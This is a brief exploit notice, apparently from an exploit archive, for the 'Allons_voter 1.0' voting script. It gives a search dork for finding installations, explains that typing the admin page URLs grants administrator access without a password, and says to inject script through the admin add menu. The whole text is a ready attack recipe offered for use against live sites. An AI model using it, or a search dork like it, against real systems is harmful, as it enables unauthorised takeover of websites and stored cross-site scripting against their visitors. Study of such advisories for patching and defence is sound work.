Allons_voter Version 1.0 xss and admin votes

• Allons_voter Version 1.0 xss and admin votes wihtout password

• By : sn0oPy

• Risk : medium

• Dork : inurl:"Allons_voter"

• exploit :

      Be admin : 
             
                http://www.target.com/Allons_voter/menu.html
                replace it by  
                http://www.target.com/Allons_voter/admin_ajouter.php
                or http://www.target.com/Allons_voter/admin_supprimer.php
     + inject any script on the admin add menu.
  

• contact : [email protected]

• greetz : [subzero], Avg Team(forums.avenir-geopolitique.net).

Rйference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2641